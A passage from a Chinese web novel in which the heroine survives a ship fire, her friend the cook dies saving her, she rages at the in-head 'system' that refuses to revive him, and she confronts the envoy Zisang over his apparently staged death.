原本被囚禁在房中的火焰犹如汹涌火浪,顿时吞天食地咆哮而来,将两人重重包围住。
疼......
赵玉屿忍不住倒吸一口凉气,跌跌撞撞爬起身。
“啊————”
惨叫声哀嚎在身后响起,她回头一瞧就见方才的杀手全身上下被烈火包裹住,整个人像是一个火球在地上翻滚不止。
赵玉屿见自己身上也沾染了火苗,慌乱爬起来想要扑灭身上的火,却发现并未有灼烧疼痛之感,火苗燃烧只将她的头发舔舐些许,她的身上没有丝毫被烈火燃烧的痕迹,甚至衣服更加洁净,像是被水洗过一般焕然一新。
她怔怔地望着自己身上的奇观,眼看一旁已经被烧得半焦,面目全非更显狰狞的刺客,双眼充血,目眦欲裂,却依旧直勾勾凶恶的望着她,如同地狱里爬出的诏炎恶鬼,挣扎着向她爬来。
赵玉屿连忙躲闪,被一步步逼到长廊角落,火燎狰狞的鬼爪猛然抓住她的脚踝,势必要将她一起拉入火海。
身后已无路可退,见这人都快变成鬼了还不放过自己,她心中暗骂一声,果断捡起地上沾血长刀,心一横朝他的脑袋劈去。
手起刀落,锃亮的寒光在火焰中闪过,脑袋滚落在地,像是被烧焦的散发着恶臭的皮球。
“见鬼去吧!”
赵玉屿狠狠骂了一句,一脚将皮球踢到一边,跃过他的尸体跑进房间。
房间已经被熊熊大火侵吞,四周黑烟熏雾,一片灼红,热浪滚滚势如巨兽,将天地包围。
“神使大人,神使大人你在哪?咳咳.......”
赵玉屿眼睛被熏得生疼,捂着口鼻找遍了房间都没找到熟悉的身影,确信子桑应当是逃脱了。
“砰——”
房梁已经开始坍塌,地板被坠落的木梁砸出一个大洞,差点将赵玉屿整个人压在下面。
死里逃生,赵玉屿捂着胸口心有余悸,转身朝楼下冲去。
“砰——”
刚下三楼便撞到一个结实敦硕的身体,赵玉屿尖叫一声,一连串无影爪朝对方招呼过去,一脚踢向对方□□。
“哎呦我的娘,玉儿姑娘别打,别打,是我是我!”
赵玉屿听到声音,见当真是王厨,松了口气。
见他怀中抱着一个盒子,赵玉屿问道:“这是什么?”
王厨倒抽了一口气,宝贝似的将盒子抱在怀里解释:“这里面是我们老王家的祖传食谱,我能当御厨全靠它,我还没研究透呢,千万不能丢了!”
赵玉屿眼角抽搐,拉着他就往楼下跑。
“人都要没了还想什么食谱,快走,船要沉了!”
两人冲过一楼,甲板上已经乱成了一锅粥。
大火已经从顶楼呼啸而下,整栋楼火光冲天,摇摇摆摆的灯笼被大火燃烧成串,海风呼啸而过,灯笼从楼顶吹落,落在高扬的白帆上,瞬间,白帆燃起两个炎炎大洞,在一片火光、哀嚎和尖叫中摇摇欲坠,像是一场神秘祭祀中诡异而兴奋的骷髅头。
船还在下沉,海水以肉眼可见的速度涌上,众人围在甲板上像是热锅上不知所措的蚂蚁。
“备用的船只呢!”
赵玉屿
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拦住一个正在灭火的护卫问道。
“还未找到神使大人,刘副将下命不得用船!”
“可是船都要沉了!”
见士兵无动于衷,赵玉屿只得穿过人流找到刚从火场冲出的刘副将。
“刘副将,船马上就要沉了,赶紧组织大家逃生吧,再迟就来不及了。”
刘副将拍掉盔甲上的火苗,面色沉顿:“神使还未找到,不得动用船只。”
“神使大人不会有事的,我去顶楼找了没有他的身影。是猴大发现的刺客,它肯定会跟神使通报的,先救人再说!”
刘副将不为所动,高声勒令:“任何人不得动用船只,违者,杀无赦!”
“你他妈有病是吧!”
赵玉屿方才死里逃生,如今却又身陷囹圄让她戾气丛生,见刘副将如此愚忠迂腐,气急骂道,“神使的命是命,这么多人的命就不是命了吗!这里不止有侍从,还有你的士兵,你宁愿看着他们去死吗!”
她怒从心起,猛地揪起刘副将的衣襟,眼中的怒意比火光更甚:“就算神使真的死了,也不能让无辜之人陪葬!放船!”
“只有一条船。”
刘副将望着她眼中倒映的火光,冷峻的面容露出一丝苦笑,“一条船,救不了那么多人,若是以神使的能力,说不定还有希望。”
赵玉屿一怔,松开手,被怒火浇炙的神经冷静下来,沉默片刻,深吸一口气道:“能救一个是一个,白帆,桅杆,浮桶,箱子,哪怕是木头片,只要能浮起来都能救人。你要等神使,我留下来陪你一起等,但是让他们走。”
与此同时,一道道急促的报令像是催命符飞涌而来。
“报,刺客已经全部处理!”
“报,将军,火势越来越猛根本拦不住!”
“报,没有发现神使大人的踪迹!”
“报,将军!船马上就要塌了!”
“啊————”
一个火人从焚焚烈火中冲出,在甲板上挣扎翻滚,撕心裂肺的叫喊:“救命——救救我——救命啊!!!”
其他士兵慌忙拎起一桶桶水泼在他身上,然而随着火势被扑灭,他的嘶喊哀嚎逐渐变成呻吟,有气无力的呼吸,最终,呻吟也消散在滋滋的焦炭声里。
刘副将闭上双眼,双拳攥紧,一向冷静的神色此刻痛苦万分。
身旁是黑甲军焦急的呐喊:“将军!”
挣扎片刻,刘副将睁开眼,最终下定决心高声勒令:“放船!将所有木桶全部清空,劈门拆墙,只要是能浮起来的东西都丢下去,不会潜水的人先走,士兵垫后!快!”
37. 第 37 章
“是!”
一声呵令犹如虎啸龙吟冲出猎猎火光汇聚成希望。
所有人同时行动,将木船扛起翻到水面,用绳索腰带将木桶扎成一排,士兵们挥刀拼命砍断门窗,就连惊慌失措的侍从们也一同帮忙,自发将仓促制成的简易救生木筏丢入水中,整个场面极度混乱却又透着仓促的秩序井然。
船上能用的全部木头全部都被扎成了木筏,然而毕竟时间紧迫,大火又在不断吞噬周遭空气,一步一步朝甲板扑涌,肆虐东风毫无节制的助长狰狞烈火的气焰,很快,熊熊烈火蔓延至甲板。
“咔!”
“咔!”
“咔!”
“砰——”
巨大的声响在混沌的厉火黑夜里显得格外诡异又令人毛骨悚然。
有人颤颤巍巍问道:“什,什么声音......”
刘副将望向身后的危危高楼,目眦欲裂,张臂高喊。
“楼要塌了!快趴下!”
“轰————!!!”
在他呐喊的同一刻,轰隆一声巨响,整座高楼顷刻间化为虚无,化为滚滚岩浆裹着烈火冲塌,所到之处一片涂炭。
剧烈的冲击将尚在甲板上的人四下冲散,有的被横梁木柱滚撞入海,昏死过去,转眼便沉入黑沉海底;有的浑身被烈火包围,凄惨哀嚎着想要扑灭身上的火焰;有的蜷缩在角落瑟瑟发抖,呆滞地望向眼前的一切;甚至已经上木筏的人都不能幸免,被从巨船上滚落的碎屑木柱所伤,船只撞翻,一片尖叫哀嚎。
“咳......咳咳......”
赵玉屿感到身上沉重如铁,压得她呼吸困难转不了身,稍微动一下,左腿剧痛到让她脸色苍白如纸。
咕噜.......咕噜噜......
似乎有注注水流,身下的地面已经被鲜血浸透,透过血泊,赵玉屿看到压在自己身上的是一个胖墩墩的身影。
她艰难的撑起身子,想要将身上的人推开,窒息道:“王厨,你压得我快喘不过气了,快起来,我腿受伤了。”
她使出吃奶的力气,憋红了脸才将身上的大山推开。
“扑通”一声重响,赵玉屿觉得身上一轻,松了口气连忙坐起身。
“王厨,我刚才差点被你压死,你真该减减肥了......”
咕噜......咕噜咕噜......
地面的血泊还在缓缓流淌、漫延、扩大,亮如明镜的血泊倒映出一张惨白的脸。
这张脸胖墩墩,平日里眼睛笑呵呵地眯成一条线,虽看着喜感,对待厨艺却尤其认真。
每次赵玉屿研究新菜式,他便会在一旁跟着一起尝试,有时两人研究到半夜饿得发慌,就会偷偷开小灶,即便是一碗香油素面,两个人边聊边吃也有滋有味。
王厨总是被赵玉屿调侃戴个大胡子就能当圣诞老人,正如此刻,鲜血将他的衣服染成了鲜红色,血泊为倒映的火光罩了一层薄纱,朦朦胧胧像是平安夜闪闪发光的仙女棒和童话故事里摆满了火鸡、菜肴和礼物的桌面上重重摇曳的烛光。
血泊之外的世界变成了红色,灼烈的,浓郁的,邪狞的红,红发火鬼肆意吼叫,尖长的舌头舔舐到皮肤,泼辣的痛,像是长满倒勾的刺,扭曲火光中满是尖叫着哀哭的面容。
鲜血从王厨的身体里流水般涌淌,一根粗长的木刺穿透了他的腹部,如果不是王厨,这根木刺穿透的就是赵玉屿。
赵玉屿慌忙按住他的伤口,她不敢拔出木刺,唯恐大出血失血休克,只能抖着手撕扯衣衫为他包扎伤口。
可是鲜血还是从他伤口里流淌,血涌如注。
“王,王厨......你怎么样了,你不要吓我啊......”
王厨似乎想要说话,可他一张口,鲜血便从口中一股一股的涌出,将他的话尽数湮没。
他只得伸出一只手,从怀中取出两本食谱塞到赵玉屿怀中,渐渐涣散的双眼依旧充溢着恳切和希望。
“你不用替我挡的......”
赵玉屿攥着书泣如雨下,“你其实,其实不用为我挡的......”
她猛然想起系统,慌忙且欣喜的取出回魂丹:“对,我有药,王厨你别怕,我有药!”
她将还魂丹塞到王厨口中,却在即将入口时化为乌有。
冰冷的电子音在脑海中响起。
【还魂丹是系统为保障宿主性命所赠的高级奖励,鉴于宿主之前随意将还魂丹使用在非宿主身上,系统已自动修复BUG,还魂丹使用对象仅限宿主本人。】
赵玉屿焦急:“这是人命啊,先救人啊!”
【系统自动驳回宿主不合理的请求。】
“我不需要这颗丹药,我不要了,给他用,行不行!”
【系统自动驳回宿主不合理的请求。】
“我得到的奖励,我愿意送给他,凭什么你说不行就不行!”
【系统自动驳回宿主不合理的请求。】
冰冷的电子音不断在脑海中刷新,和四周灼烈的火光交织、纠缠、融合,化为一条巨毒长蛇紧紧缠绕住赵玉屿,张开血盆大口,狰狞的獠牙刺穿皮肤,寒毒入骨,让赵玉屿不寒而栗,哀中生怒,绝望嘶喊:“你们
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他妈是什么东西!你们连人命都不顾,你们他妈是什么东西!救命啊!救人啊!!!”
【系统自动驳回宿主不合理的请求。】
愤怒的发泄得到的只有依旧冰冷的电子音,像是人群漠然麻木的目光。
赵玉屿第一次生出无能为力的绝望,只剩哀求,哽咽道:“我求求你了,救救他吧,他是为了救我才死的.......他是为了救我才死的啊......”
【系统自动驳回宿主不合理的请求。】
王厨看着眼前满脸泪水绝望嘶喊着救命的姑娘,似乎想要安慰她,撑着剧痛扯了扯嘴角,然而笑容还未展开,本就模糊的瞳孔逐渐涣散。
他仰头望向黑洞洞的夜空,惨白的面容更加惨白,肥润的身体像是忽然失去了丰盈的灵魂,只剩下挂在骨头上的一层白纸。
人死如灯灭。
赵玉屿趴在他身上泣不成声,“吱嘎——”早已溢满海水的巨船终于不堪重负向一侧倾斜。
火光顺着摇曳的船只飞速流淌,像是倾泻而下的瀑流。
一片尖叫和惨烈叫声中,赵玉屿缓缓抬起头,泪光闪烁,双目红如鲜血。
她问道:“我来到这个世界上,不就是为了改变一切、为了救人吗,为什么?为什么要这样?”
【世界上有千万人,能影响乃至改变世界线的人只有少数。如子桑鸓,如宋承嵘、何附子都是其中之一,系统要确保的是他们的命运不能偏离。】
“所以除了主角,其他人的命在你眼里都不是命,都是可以随意杀死、随意践踏的蝼蚁,即使他们那么努力的生活,可蝼蚁还是蝼蚁。因为他们是下人、是奴隶、是普通人,所以死不足惜,对吗?”
系统沉默了片刻:【我很抱歉,但按照程序设定,的确如此。考虑到情感因素会影响宿主执行任务的进程和结果,系统会优先判断,排除影响因素,为宿主选择最有利于宿主的决定。还魂丹只有一颗,在判断宿主可能存在生命危险时,宿主如果将其赠与他人,就会增加宿主死亡和任务失败的风险,所以系统自动修复BUG。】
赵玉屿笑了一声,这笑容充斥着嘲讽和挑衅。
她将沾满血迹的食谱放入里衣,在破败不堪的船只再次倾斜时摇摇晃晃站起身,炸起的火花飞溅眼角,愤怒和恨意在火光四溅的这一刻达到顶峰。
“既然我的命那么重要,那就来救我啊。”
她没有寻找木筏船只,也没有寻找避难的角落,而是在漫天浓烟和火光中,踩着倾泻而下的火流奔跑,驭火而行,冲出船舷,一跃而起,以一种决然之势扑向大海。
38. 第 38 章
在她沉入水底的那一刻,摇摇欲坠的巨船如同海面沉浮的鬼日,浓烟为云,烈火为日,在缥缈风浪中支离破碎,最终化为火流星,从天而坠,沉入海底。
巨船卷起的海底暗流涌起一股推力,将赵玉屿冲向大海深处。
失重、窒息、剧痛、视线模糊,五感的刺激在落海的一瞬间袭涌而来。
黑暗幽静的海底像是浩渺无尽的宇宙,静谧,唯有静谧。心跳声被无限放大,目光所及之处,唯有海面残存的点点火光,像是高悬在无尽黑夜中触不可及的星光。
在滚滚海水中一闪一闪,旋即一个巨浪扑来,星星熄灭了。
赵玉屿闭上眼睛,脑海中的系统提示音像是复制繁衍的病毒疯狂轰炸。
【警告!警告!系统检测到宿主存在生命危险,请选择是否服用回魂丹,如不使用,死亡率百分之百,如不使用,死亡率百分之百!】
失去意识的最后一刻,赵玉屿嘴角勾起一丝轻笑。
去你妈的。
似乎有一声嘹亮的鹤唳声盘旋在耳边,可在海底不会有鸟群飞旋,又似乎是尖锐刺耳的鸣笛声,是光怪陆离的画面中人影幢幢的尖叫,最终在意识模糊下变换成晴空烈日,校园操场上教官的口哨声。
“一二一,一二一,全体都有,立正,稍息,原地解散!”
赵玉屿茫然的坐在草地中,白昼的光线似乎有些刺眼,她抬了抬手遮住阳光,一瓶果汁丢到她怀中。
“发什么呆呢?赶紧喝,我好不容易去超市抢到的,等会又得训练一小时。”
赵玉屿怔怔望着那张熟悉又陌生的脸:“我好像,好久没有见到你了。”
于欢竹摸了摸她的额头:“你傻了,我是你发小,咱两可是从小学到大学都是一个学校的,一天二十四小时有二十个小时在一起,我比你妈都了解你!”
“哦......”
于欢竹挨着她坐下兴冲冲八卦道:“哎,你知道你们班代班吗,才大二就已经财富自由了,听说是网上特有名的大V,一幅画能卖到十几万呢!”
赵玉屿也甚是羡慕:“我知道,我高中就关注她了,能将自己喜欢的事情做到行业顶尖,家里养了一只猫一只狗,简直人生赢家。”
“是啊是啊,听说她打算出国留学,去巴黎深造,到时候身价又得翻几番啊,到时候回来开个画廊,赚翻了。”
赵玉屿拧开水喝了一口,自信满满:“咱们也不差,虽然现在咱们的账号只有几千粉丝,但只要坚持,以后肯定会越来越好!到时候我也要开个画展,赵玉屿个人创意展!再签他个几百几千的签绘,啧,想想就美!”
“那我就开个画馆,把你的画摆在最显眼的位置!”
两个少女想着未来的美好,乐呵呵的笑开了花。
赵玉屿手臂撑着草地,望着天空长舒一口气:“我这辈子也不求大富大贵,反正我就想随自己的心意,自由自在的过好每一天,有时候帮老奶奶过过马路啊,帮邻居找找狗啊,当个还不错的好人就行!”
我要......自由的生活......
耳边于欢竹兴奋的声音逐渐消失,四周遁入一片漆黑,手中的果汁色彩鲜红,像是刚榨好的葡萄酒,装果汁的塑料瓶似乎在巨大的热浪中化为一滩液体,混合着瓶中的血水从指尖流淌而下。
嘀嗒,嘀嗒,落在地上,撕碎伪装,露出血淋淋的露骨又残酷的现实。
这个世界,很糟糕。
糟糕到想救的人救不了,糟糕到真心被辜负,糟糕到连选择的权利都没有。
“咳......咳咳......”
赵玉屿感到肺部炸痛,鼻腔一股酸涩袭上脑门,猛然从昏迷中惊醒,大口大口的呼吸,像是脱水的鱼。
天空泛起鱼肚白,云胧青霭间一团银月渐淡,四下昏明,石头滩上幼蟹在缝隙中钻行,不远处丛林苍劲,在清晨晕开一抹层层叠叠绵延不绝的浓郁的绿。
“嘶——”
动了动身子,一阵剧痛刺穿左腿瞬间针扎锤凿般蔓延至全身。
她望去,小腿的裤脚被撕开,用干净的白布包扎好了伤口,上面溢出丝丝血迹。
见她醒了,一只修长纤细的脖颈亲昵地蹭了蹭她。
赵玉屿摸着它的圆溜溜的黑脑袋:“小白?”
小白兴奋地叫了一声,似乎为她的醒来感到高兴。
“你怎么在这儿?”
“啪!”
一串果实精准砸到她怀中,赵玉屿四下张望,一只肥硕又灵巧的身影从丛林中一跃而出,一只爪子托着一肚兜的果子,三爪并行飞跑几步,将果子摊到地上,就着海水娴熟清洗。
“猴大?”
猴大朝她龇了龇牙,将果子清洗好后用小兜子包裹好,丢到她怀里,伸爪指了指大海。
空灵的鸣叫随之响起,赵玉屿望向大海,离岸不远处,一只白鲸静静等候在那儿,时不时朝岸鸣叫一声,似乎在欢欣地等待着她的莅临。
这是......让她离开?
“神使大人呢?”
猴大摇了摇头,又指了指白鲸。
不想见她?
为什么?
既然小白和猴大都在这儿,那子桑一定就在附近。
可为什么不愿意见她?
想到昨
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晚子桑一个人悄无声息地离开,想到身陷火海的绝望,想到满船人的哀嚎和王厨的死,赵玉屿冷笑一声,将果子朝海里用力一抛。
猴大见她将自己辛辛苦苦摘的果子全扔了,尖叫一声,来回蹦跳咒骂她不识好歹。
赵玉屿拧起它的耳朵:“我不走,告诉子桑,我宁愿饿死在这我也不回去,既然救了我为什么不见我?”
说罢她盘腿坐下,将猴大死死抱在怀里:“我就在这等!等到我饿死了一了百了!”
猴大挣扎着想从她怀中逃出去,却被她一把按住脑袋。
猴大:“*%……¥&”你不放开我我怎么告诉主人!
赵玉屿似乎一瞬间心有灵犀,捏着它的耳朵道:“你就在这陪我,谁知道你个小王八羔子会怎么添油加醋!小白,你去!”
小白仰脖高鸣一声,朝丛林飞去,很快便被层层绿障淹没不见踪影。
潮汐一浪一浪拍打着海岸,诠释着昨夜的疯狂和残酷,赵玉屿望着白浪翻滚的海面,随着浪□□过的晨风清醒了头脑,心中却五味杂陈。
王厨的死让赵玉屿认识到这个世界的残酷和无奈,可子桑呢。
她似乎越来越看不透他了。
他明明可以救下一船人,为什么选择独自离开?
既然选择了离开,为什么又要回来救自己?救了她却又不见她?
还有她身上这件衣服,是当初子桑赏于她的衣料,这究竟是巧合还是故意为之?
赵玉屿经过一夜磨难身体本就虚弱,脑袋被海风吹得晕晕沉沉,却依旧赌气一般坐在海边,从清晨坐到天色昏昏,饿得两眼昏花也坚决不吃一颗果子,几番快要昏过去,忍不住勒紧手臂保持清醒,猴大被勒得直翻白眼,双手抱拳上下摇摆求饶。
最终,在海天混沌之际,赵玉屿昏倒在石头滩上。
失去意识的那刻,她似乎听到一声无奈的又略显咬牙切齿的叹气。
*
再次醒来时,周遭暖和许多。
赵玉屿濛濛地望向四周,墙上屋顶皆是蚁蛀的痕迹,身下的木床稍稍一动就嘎吱嘎吱响,屋里除了床只有一张木桌和一个凳子,桌上点着一盏蜡烛,昏暗的光晕隐隐勾勒出一个年久简陋的小木屋的轮廓。
虽简陋,但整个屋子被收拾得非常干净,并未见虫蚁蜘蛛,甚至她身下的被褥都异常干净轻柔,是新制的丝绸面料。
“吱嘎——”
开门声响起,黑沉的夜里,几点星光描摹出一道熟悉的身影。脚步缓缓前行,在光与影的交替中浮现出子桑的面容。
他端着一碗粥走进来递到她面前:“醒了,喝了吧。”
39. 第 39 章
“神使大人......”
赵玉屿的目光从他平静的脸落到他的身上。
白衣为底绣金丝紫珠凤,红衫束腰,白金黑边羽肩,蝶纹鲛纱罩,鱼鳞金腰带串五帝钱,灵宝璎珞垂十二生肖流苏小金饰,衣摆裁六瓣莲花镶金边,蛟龙缠莲花绕金底长靴,粼粼鲛纱在摇曳烛光中熠熠生辉。
这是她为了赴瑶山特意绣制的绝世华服,融合了各色动物元素,搭配璎珞金饰,里三层外三层,异常难穿。
那夜刺客偷袭时,子桑分明已经入睡,赵玉屿原本以为他是在猴大提醒后仓促而逃,才未被封死在房中。
可他居然还抽空换了件衣服,这衣服没有一炷香根本穿不好,更别说在没人帮助的前提下。
赵玉屿额角忍不住抽搐,说这丫的提前不知道有刺客,鬼都不信!
见赵玉屿盯着他的衣服,子桑展了展衣袖,眉头微皱:“穿错了吗?”
赵玉屿深吸一口气,胸中郁结:“没有,一点没穿错,好得很呢。”
所以,他真的不顾满船人的死活,自顾逃生。
赵玉屿一口干完白米粥,长出一口心中恶气,望向子桑,含着最后一丝希冀问道。
“神使大人,你既然走了,为什么又回来救我?”
“小白走错了路,绕回去了,正好看到你掉海。”
“......”
这个理由拙劣到让赵玉屿觉得子桑在侮辱她的智商。
看着赵玉屿充斥着脏话的眼睛,子桑似乎也觉得有点说不过去,撇了撇嘴角解释道:“其实是猴大觉得你太笨,不放心,让我回去看看。”
这理由虽然依旧是胡扯,但最起码还说得过去。
“不管如何,你救了我,谢谢你。”
赵玉屿闭了闭眼,强忍着不知是腿脚的痛楚还是心中的失望:“可是神使大人,你既然知道有刺客,为什么任凭他们行动?有很多人,有很多人因此丧命。”
如果子桑提前告知黑甲军,如果子桑能及时赶回,那么这一船的人都不会无辜丧命。
子桑难得沉默片刻,叹了口气:“我也很想知道,你是怎么把自己弄成这副模样。”
赵玉屿:“?”
“我给你了骨笛,给了你火浣布,又教了你心法,虽然心法残缺但也足够召唤琼鲸,没想到你居然连自己都护不住。”
若不是他一时心软回头,她怕是早就葬身鱼腹。
赵玉屿难以置信:“我才学了一天!”
这下轮到子桑不解:“我幼时只看了一遍心法就可驭兽召鹤。”
赵玉屿:“......”
子桑眉宇间有些无奈:“是我高估了你。”
赵玉屿:艹!
我不是天才是我的错喽!
她气急而笑,怒从心起,顺手抄起枕头砸在子桑怀里,破口大骂:“你他娘还好意思说我?原本一件简单的事情被你搞得那么复杂,你是不是还觉得自己特智慧特聪明呢?现在好了,玩砸了,满船人都死绝了!你知不知道我担心你有事,我拼了命的跑上五楼,冲进火海,我就担心看到你的尸体,我为此我还,我还杀了人!你知不知道王厨为了救我,他的肚子被木头扎穿了!他流了满地的血,我怎么捂都捂不住......”
赵玉屿的声音逐渐哽咽,王厨死灰般的面容在脑海中挥之不去,漫天的哀嚎和惨叫,居然只是因为一个人的自负。
这让她无法接受,也自责不已,所有的坚强在这一瞬溃不成军,只能发泄似的不顾后果的将枕头一下一下砸向他。
子桑并未因为她的放肆而怒意横生,他静静地看着,静静地听着,,听着她的担忧和害怕,眼中哀婉掩藏在烛光的阴影之中,直到赵玉屿哭累了,才伸出苍白的手指揩去她眼角的泪水:“别哭了。”
长风吹过,烛光瑟瑟摇曳,原本就昏暗模糊的小屋更显摇摇欲坠,投射在残破墙壁上的影子晃晃荡荡,像是被一块石头砸破平静的水面,一击击碎了美好的幻境化为无数记忆的碎片。
略显亲昵的动作让赵玉屿身子一僵,撇过头粗鲁地擦掉满脸的泪水,猩红的双眼望向子桑:“神使大人,你究竟为什么要这么做?”
以子桑的性格,他既然知晓有刺客,心情好时或静坐帷幄看着他们出尽手段然后将他们嘲讽一番后弄死;若心情差时,懒得多啰嗦,直接将人就地解决,从不会费心思浪费时间,所以赵玉屿不明白,之前也从未想过子桑会大费周折安排这一出。
子桑的半张脸隐藏在阴影中,半张脸讳莫如深的被昏黄摇曳的烛光映照:“有的人死在火里是最好的结果。”
赵玉屿微怔。
他的意思是,想要通过火灾造就自己已死的假象?
如此,倒说得通。
“可是,你为什么要制造假死的假象呢?”
子桑没有再回答,转而道:“小白会送你回去。”
“回哪,回帝都吗?”
赵玉屿自嘲,“神使都葬身火海了,我一个人回帝都,圣上和太子会放过我吗?”
子桑转身朝门外走去:“去哪都行,九州四海,只要是你想去的地方,小白都会带你去。”
见他当真要丢下自己离开,不知怎么的,赵玉屿心中有些慌乱。
“那你呢?”
子桑没有回答,他的背影孤寂而淡漠,如同每晚坐在摘星楼顶时的身影一样,赵玉屿见他当真要走,焦急地想要起身:“等等,我跟你一起......啊!”
她忘了腿伤,猛地从床上起身,结果落地那刻左腿刺痛无比,扑通一声重响,整个人扑倒在地半天没起来。
“好疼啊......”
听到声音,子桑身子略顿,仍没有回头,在即将出门的那刻,赵玉屿焦急地朝他喊道:“神使大人,我已经脱离了赵家,早就没有家了,我一个人能去哪里?如今又受了伤,世道艰难我活不下去的,你既然救了我一命,就好人做到底,带我一起走吧!”
她捂着腿拼命哀嚎:“好疼啊,好疼啊!真的好疼啊!!!救命啊,我的腿要废了,我要死在这里了......我一个如花似玉美少女,居然要葬身于此,死后也不知道被什么动物吃掉,老天爷怎么如此残忍,神使大人,救命啊!”
子桑:“.......”
他的背影在月光下沉默良久,似乎叹了口气,转身回屋将她从地上捞起丢到床上:“睡觉吧。”
赵玉屿连忙抓住他的衣袖:“我不睡,神使大人,你肯定会趁我睡着离开的。”
虽然不知道子桑为什么要丢下所有人自己离开,但赵玉屿看着现在的子桑总觉得有些不安。
“你的伤好之前,我不会走。”
赵玉屿
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忍不住问道:“神使大人,您要去哪啊?”
见子桑神色晦暗不明,她朝床里挪了挪转移话题:“那你跟我一起睡吧。”
见子桑听到这话又神情古怪,赵玉屿连忙伸出三根手指发誓,“我对神使大人没有任何企图,我是说我睡地上。”
她正要起身,子桑按着她的头让她躺下,旋即和袖躺在她身边:“你不是快死了吗,方才哭天抢地要死要活的,如今又身强体魄能睡地上了。”
听到这熟悉的阴阳怪气,赵玉屿才稍稍放下心来。
两人同床共枕合衣而睡,子桑阖眼而眠,赵玉屿却双眼直勾勾的望着腐朽的屋顶,倒没什么暧昧旖旎,只是一场风波刚过,难免心起波澜,久久未平。
柔软的蚕丝被像是回到了奉仙宫中,可周遭的稀松的青草香却暗示着身处荒郊。
黑暗中,赵玉屿忍不住问道:“神使大人,这里怎么会有一床被子?”
“小白到附近的镇上拿的。”
小白......拿的?
那不就是偷的?
“那这粥......”
“小白拿的。”
“......”
好吧,她还是别问了。
*
沉,沉,像是沉没在黑色的夜中。
周遭一片漆黑,唯有高墙上的细窄窗户透出几点星光,吹进几缕清风细雾,为浓郁潮湿的阴黑带来一份清冷的生气。
他躲在角落里不知过了多久,一阵雏鸟细弱轻快的鸣叫从高窗飞入,落下一片白色的绒羽。
这飘忽的白色在黑沉沉的夜里格外鲜亮,像是无意落入深渊的一片阳光,让蜷缩在角落里的孩子忍不住抓在手心。
这一抹白,轻柔,瘙痒,让他回忆起似乎在很久很久以前,他见过这抹白,在黑暗之外,抬眼看到的是各种色彩混杂的天空,绚烂、疯狂、晕眩,是从未见过的景色。天空之下一片雪白,世界轻飘飘的像是羽毛,微风挠在脸上就是这种瘙痒。
短暂又虚幻,像是一场久违的梦。
他忍不住站起身扒在高墙上,踮起脚尖,努力将胳膊伸得又直又长,憋着脸想要够到窗台。
可是窗台太高太高,像是在天边,又恍惚在他眼前收窄、拉长,变成一条细细长长的线,缠绕在他的脖子上栓牢,囚禁在枯燥乏味、被人遗忘的海底,等待着他窒息而亡,静悄悄的,连死亡都无人在意。
咔哒......
咔哒......
忽然,黑暗中发出细琐的毛骨悚然的声响。
他转身,炽白灼眼的光亮刺穿他的双眼,他像小丑一样抱头蹲在墙根处,如同被撵出下水道的老鼠,在阳光下瑟瑟发地散发着黑暗的污秽腐臭。
门开了。
常年未见光亮的人还是克制不住对阳光的渴望,强忍着不适和异样朝门外走去。
每走一步,周遭热如浑日,地面逐渐蒸腾,化为热浪水汽一点点消散在脚下。
走出门外的那一刹那,他竭力睁开混沌的眼睛,在一片白亮之中,看到了太阳在膨胀。
膨胀,膨胀,飞速的膨胀,最终化为巨大的火球,以将地平线上的一切灼烧湮灭的速度向他滚滚而来,在一片凄厉哀嚎中以势不可挡之势轰隆隆从他的身体上碾压而过,浑身的骨骼发出咔嚓咔嚓的刺耳巨响,刹那成为碎片。